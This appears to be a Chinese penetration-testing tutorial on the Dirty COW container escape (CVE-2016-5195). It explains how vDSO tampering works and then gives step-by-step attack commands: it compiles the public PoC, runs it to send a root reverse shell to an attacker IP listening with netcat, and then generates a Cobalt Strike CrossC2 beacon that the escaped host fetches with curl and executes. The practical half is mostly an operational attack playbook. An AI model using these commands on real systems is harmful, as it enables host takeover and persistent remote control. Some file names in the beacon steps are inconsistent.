Dirty COW容器逃逸漏洞渗透实战:原理+复现 (CVE-2016-5195)
目录
一、 Dirty COW容器逃逸漏洞
1、什么是 vDSO?
2、漏洞利用思路
3、基础提权漏洞与容器逃逸区别
二、Dirty Cow容器逃逸渗透实战
1、dirtycow-docker-vdso安装方法
2、dirtycow-docker-vdso使用方法
(1) chmod +x 0xdeadbeef
(2) ./0xdeadbeef ip port
参数一:ip
参数二:port
3、攻击机监听本地端口
4、上传0xdeadbeef到容器
(1)获取攻击机的IP地址
(2)上传0xdeadbeef到容器环境
5、容器运行0xdeadbeef建立连接
6、攻击机渗透成功
7、逃逸主机提权
(1)攻击机CS监听HTTPS
(2)攻击机生成HTTPS Beacon
(3)攻击机开启Web服务
(4)逃逸主机下载beacon文件
(5)逃逸主机执行beacon文件
(6)Beacon上线CS成功
本文详细讲解DirtyCOW容器逃逸漏洞(CVE-2016-5195)的原理和渗透实战复现过程。该漏洞通过篡改vDSO(虚拟动态共享对象)代码,容器内进程可突破隔离获取宿主机root权限。利用方法包括:编译PoC工具0xdeadbeef,在容器内运行并指定攻击机IP和端口,攻击机开启监听即可成功建立反向连接控制宿主机。
一、 Dirty COW容器逃逸漏洞
- 漏洞名称:Dirty Cow(脏牛)容器逃逸漏洞
- CVE 编号:CVE-2016-5195
- 本质:Linux 内核内存权限管理缺陷,允许低权限用户(如容器内用户)通过竞争条件修改只读内存页,进而提权或逃逸容器隔离。
- 影响范围:Linux 内核版本 2.6.22~4.8.3(几乎覆盖 2016 年前主流内核版本),容器环境(Docker、LXC 等)因共享宿主机内核,存在逃逸风险。
- 利用对象:Linux 内核的 vDSO (virtual dynamic shared object) 内存页。
- 逃逸原理:利用 Dirty COW 漏洞修改宿主机内核的 vDSO 代码,注入一个反向 Shellcode,从而从容器内获得宿主机上的 Root Shell。
- 经典利用代码:
https://github.com/gebl/dirtycow-docker-vdso.git
1、什么是 vDSO?
-
vDSO 是一小段由内核映射到所有用户态进程地址空间的内核代码。
-
目的:为了加速某些频繁执行的系统调用(如
gettimeofday()
,clock_gettime()
),避免从用户态切换到内核态的性能开销。用户进程可以直接在用户空间调用这段代码。 -
关键点:vDSO 在内核空间中,但其映射在用户空间是可读的。
2、漏洞利用思路
传统的 Dirty COW 利用是修改容器内的文件来实现容器内提权。而这个方法的思路是:利用容器内的 Dirty COW 漏洞,去修改宿主机内核的 vDSO 代码段。因为容器与宿主机共享内核,所以容器内看到的 vDSO 和宿主机上所有进程看到的 vDSO 是同一块物理内存。如果能在容器内篡改这块内存,就能影响宿主机上所有的进程。利用步骤如下所示。
- 步骤 1:容器内编译并运行漏洞利用程序,通过 Dirty Cow 漏洞修改
vdso
中的gettimeofday
函数(常用系统调用)。 - 步骤 2:替换
gettimeofday
为恶意代码(如反弹 shell 到攻击者控制的机器)。 - 步骤 3:等待宿主机上的进程调用
gettimeofday
(几乎所有进程都会触发),执行恶意代码,获得宿主机权限,完成逃逸。
3、基础提权漏洞与容器逃逸区别
Dirty COW (CVE-2016-5195) 最基础、最核心的利用方式是在Linux系统上,从一个普通用户权限提升到root权限。而CVE-2016-5195(Dirtycow-docker-vdso)容器逃逸漏洞利用vdso
的共享特性,将容器内的权限提升转化为宿主机逃逸,直接将一个本地提权漏洞转变为了一个容器逃逸漏洞,极大地扩大了攻击范围。两者区别如下表所示。
对比维度 | CVE-2016-5195(Dirty Cow)基础提权 | CVE-2016-5195(Dirtycow-docker-vdso)容器逃逸 |
---|---|---|
作用范围 | 仅限于单个系统内部(如物理机、虚拟机) | 突破容器隔离,从容器内延伸到宿主机 |
核心目标 | 低权限用户(如普通用户)获取系统 root 权限 | 容器内进程突破 namespace 隔离,获取宿主机的 root 权限或执行权限 |
利用对象 | 攻击本地系统的只读内存页(如/etc/passwd 等系统文件) | 攻击容器与宿主机共享的内核vdso 内存区域(因共享内核) |
技术路径 | 通过竞态条件修改只读文件(如改写/etc/passwd 添加管理员用户) | 通过修改共享vdso 中的系统调用函数(如gettimeofday ),触发宿主机进程执行恶意代码 |
依赖环境 | 仅依赖存在漏洞的 Linux 内核(无需容器环境) | 依赖容器与宿主机共享内核的特性,必须在容器环境中利用 |
影响结果 | 获得当前系统的 root 权限,控制单个系统 | 突破容器边界,控制宿主机,可能影响宿主机上的所有容器 |
防御侧重 | 升级内核修复内存权限缺陷 | 升级内核 + 容器加固(如限制CAP_SYS_PTRACE 、使用只读文件系统) |
二、Dirty Cow容器逃逸渗透实战
1、dirtycow-docker-vdso安装方法
dirtycow-docker-vdso工具是一个利用 Dirty COW (CVE-2016-5195) 漏洞实现 Docker 容器逃逸 的 Proof-of-Concept (概念验证) 代码。它不像传统利用那样修改磁盘文件,而是通过篡改内存中的 vDSO 来让宿主机上的进程主动连接攻击者,从而获得一个宿主机上的 root shell。
https://github.com/gebl/dirtycow-docker-vdso.git
下载源码后对其进行编译,打开终端,执行以下命令克隆项目到本地,使用make编译成功后,会生成一个名为 0xdeadbeef
的可执行文件。这就是我们的攻击程序。
git clone https://github.com/gebl/dirtycow-docker-vdso.git
cd dirtycow-docker-vdso
# 在项目目录下执行编译命令
make
2、dirtycow-docker-vdso使用方法
chmod +x 0xdeadbeef # 第一步:赋予可执行权限
./0xdeadbeef ip port # 第二步:运行程序并传入参数
(1) chmod +x 0xdeadbeef
-
chmod
: Linux/Unix 系统中用于改变文件权限的命令。 -
+x
: 表示“增加执行权限”。 -
0xdeadbeef
: 文件名,这里是编译好的漏洞利用程序。
含义:这条命令的作用是给名为 0xdeadbeef
的文件添加可执行权限。在 Linux 中,一个文件刚被编译出来时,默认可能没有执行权限,必须使用 chmod +x
命令显式地赋予它这个权限后,才能通过 ./文件名
的方式来执行它。
如果不执行这一步,直接运行 ./0xdeadbeef
,你会看到 Permission denied
的错误。
(2) ./0xdeadbeef ip port
这条命令是运行漏洞利用程序的核心,它由几个部分组成:
-
./
: 表示“在当前目录下”寻找要执行的程序。因为0xdeadbeef
不在系统的标准环境变量$PATH
所包含的目录中,所以必须指定它的路径。./
就代表当前所在的目录。 -
0xdeadbeef
: 要执行的程序文件名。 -
ip port
: 这是传递给0xdeadbeef
程序的两个命令行参数。它们的含义是:
参数一:ip
-
含义: 攻击者机器的 IP 地址。
-
作用: 告诉漏洞利用程序,成功之后,让受害主机反向连接(反弹 Shell)到哪个 IP 地址。
参数二:port
-
含义: 攻击者机器上监听的端口号。
-
作用: 告诉漏洞利用程序,成功之后,让受害主机反向连接到攻击者机器的哪个端口。
3、攻击机监听本地端口
攻击机监听本地端口1234,执行nc64.exe -lvvp 1234命令监听,具体如下所示。
4、上传0xdeadbeef
到容器
(1)获取攻击机的IP地址
获取容器环境可以访问到的攻击机的ip地址,如下所示为20.1.0.28。
(2)上传0xdeadbeef到容器环境
将0xdeadbeef文件放到容器环境中,如下所示上传成功。
5、容器运行0xdeadbeef建立连接
首先使用 chmod +x
赋予 0xdeadbeef
文件可执行权限,然后执行该漏洞利用程序,并指定其将利用 Dirty COW 漏洞篡改 vDSO 后要反弹 Shell 的目标地址为 IP 20.1.0.28 的 1234 端口。
chmod +x 0xdeadbeef
./0xdeadbeef 20.1.0.28 1234
6、攻击机渗透成功
由于攻击者在IP 为 20.1.0.28 的攻击机主机上使用 netcat 工具已经监听 1234 端口,以接收来自受害宿主机的一个反向连接并获取其 root 权限的 Shell。当容器运行./0xdeadbeef 20.1.0.28 1234时,成功与攻击机建立连接,如下所示。输入ls /获取到根目录所有文件。
执行ip addr即可发现逃逸成功,此时网卡中你包括docker0的网卡。
7、逃逸主机提权
(1)攻击机CS监听HTTPS
(2)攻击机生成HTTPS Beacon
genCrossC2.exe 20.1.0.28 10087 ./.cobaltstrike.beacon_keys null Linux x64 10087.out raw
(3)攻击机开启Web服务
将10087.exe放到web网址根目录下,同时开启phpstudy的web服务,由于100087.exe这个beacon文件放到网址的根目录,故而访问链接为http://20.1.0.28/10087.out,具体如下所示。
(4)逃逸主机下载beacon文件
受害者逃逸主机使用curl -O http://20.1.0.28/10087.out下载10087.exe的https beacon文件,命令如下所示。
curl -O http://20.1.0.28/10087.out
(5)逃逸主机执行beacon文件
chmod +x 10087.exe
./10087.exe